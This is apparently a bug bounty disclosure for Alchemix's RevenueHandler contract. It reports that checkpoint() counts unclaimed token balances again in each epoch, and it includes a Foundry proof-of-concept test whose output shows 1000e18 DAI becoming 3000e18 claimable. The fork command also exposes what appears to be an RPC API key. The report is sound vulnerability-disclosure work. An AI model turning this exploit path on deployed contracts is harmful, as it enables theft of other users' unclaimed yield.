31253 - [SC - Critical] RevenueHandlercheckpoint isnt correctly
Submitted on May 15th 2024 at 20:16:14 UTC by @jasonxiale for Boost | Alchemix
Report ID: #31253
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RewardsDistributor.sol
Impacts:
Theft of unclaimed yield
Description
Brief/Intro
RevenueHandler.checkpoint
isn't correctly when tokenConfig.poolAdapter
is 0, which cause epochRevenues
record wrong number, so some users will claim more token than expected, and other user can't claim the tokens
Vulnerability Details
RevenueHandler.checkpoint
isn't correctly when tokenConfig.poolAdapter
is 0, which cause epochRevenues
record wrong number, so some users will claim more token than expected, and other user can't claim the tokens
Vulnerability Details
In RevenueHandler.checkpoint, if tokenConfig.poolAdapter
is zero, epochRevenues[currentEpoch][token] += amountReceived;
is used to update value, and thisBalance
is equal to IERC20(token).balanceOf(address(this))
The issue is that IERC20(token).balanceOf(address(this))
may contains the token that hasn't been claimed. In such case, it means that the amount will be added twice.
228 function checkpoint() public {
229 // only run checkpoint() once per epoch
230 if (block.timestamp >= currentEpoch + WEEK /* && initializer == address(0) */) {
231 currentEpoch = (block.timestamp / WEEK) * WEEK;
232
233 uint256 length = revenueTokens.length;
234 for (uint256 i = 0; i < length; i++) {
...
244
245 uint256 thisBalance = IERC20(token).balanceOf(address(this));
246
247 // If poolAdapter is set, the revenue token is an alchemic-token
248 if (tokenConfig.poolAdapter != address(0)) {
...
258 } else {
259 // If the revenue token doesn't have a poolAdapter, it is not an alchemic-token
260 amountReceived = thisBalance; <<<--- thisBalance is IERC20(token).balanceOf(address(this));
261
262 // Update amount of non-alchemic-token revenue received for this epoch
263 epochRevenues[currentEpoch][token] += amountReceived; <<<--- += is used here
264 }
265
266 emit RevenueRealized(currentEpoch, token, tokenConfig.debtToken, amountReceived, treasuryAmt);
267 }
268 }
269 }
Impact Details
epochRevenues
isn't updated correctly in some case, so some users will claim more token than expected, and other user can't claim the tokens
References
Add any relevant links to documentation or code
Proof of Concept
Put the following code in src/test/RevenueHandler.t.sol
and run
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/0TbY2mhyGA4gLPShfh-PwBlQ3PDNUdL1 --fork-block-number 17133822 --mc RevenueHandlerTest --mt testTwoCheckpoint -vv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for src/test/RevenueHandler.t.sol:RevenueHandlerTest
[PASS] testTwoCheckpoint() (gas: 2223762)
Logs:
currentEpoch : 1686182400
revenueHandler.epochRevenues : 1000000000000000000000
dai.balanceOf(revenueHandler) : 1000000000000000000000
revenueHandler.claimable : 1000000000000000000000
currentEpoch : 1687392000
revenueHandler.epochRevenues : 1000000000000000000000
dai.balanceOf(revenueHandler) : 1000000000000000000000
revenueHandler.claimable : 2000000000000000000000
currentEpoch : 1688601600
revenueHandler.epochRevenues : 1000000000000000000000
dai.balanceOf(revenueHandler) : 1000000000000000000000
revenueHandler.claimable : 3000000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.07ms (2.69ms CPU time)
Ran 1 test suite in 1.22s (6.07ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
As we can see from the test, only 1000e18
DAI is transferred to revenueHandler
, but the tokenId
can claim 3000e18 DAI
function testTwoCheckpoint() external {
uint256 currentEpoch;
uint256 WEEK = 2 weeks;
revenueHandler.setPoolAdapter(dai, address(0));
uint tokenId = _initializeVeALCXPosition(10e18);
_jumpOneEpoch();
_jumpOneEpoch();
_jumpOneEpoch();
uint256 revAmt = 1000e18;
_accrueRevenue(dai, revAmt);
revenueHandler.checkpoint();
currentEpoch = (block.timestamp / WEEK) * WEEK;
console2.log("currentEpoch :", currentEpoch);
console2.log("revenueHandler.epochRevenues :", revenueHandler.epochRevenues(currentEpoch, dai));
console2.log("dai.balanceOf(revenueHandler) :", IERC20(dai).balanceOf(address(revenueHandler)));
console2.log("revenueHandler.claimable :", revenueHandler.claimable(tokenId, dai));
_jumpOneEpoch();
revenueHandler.checkpoint();
currentEpoch = (block.timestamp / WEEK) * WEEK;
console2.log("currentEpoch :", currentEpoch);
console2.log("revenueHandler.epochRevenues :", revenueHandler.epochRevenues(currentEpoch, dai));
console2.log("dai.balanceOf(revenueHandler) :", IERC20(dai).balanceOf(address(revenueHandler)));
console2.log("revenueHandler.claimable :", revenueHandler.claimable(tokenId, dai));
_jumpOneEpoch();
revenueHandler.checkpoint();
currentEpoch = (block.timestamp / WEEK) * WEEK;
console2.log("currentEpoch :", currentEpoch);
console2.log("revenueHandler.epochRevenues :", revenueHandler.epochRevenues(currentEpoch, dai));
console2.log("dai.balanceOf(revenueHandler) :", IERC20(dai).balanceOf(address(revenueHandler)));
console2.log("revenueHandler.claimable :", revenueHandler.claimable(tokenId, dai));
}
Last updated
Was this helpful?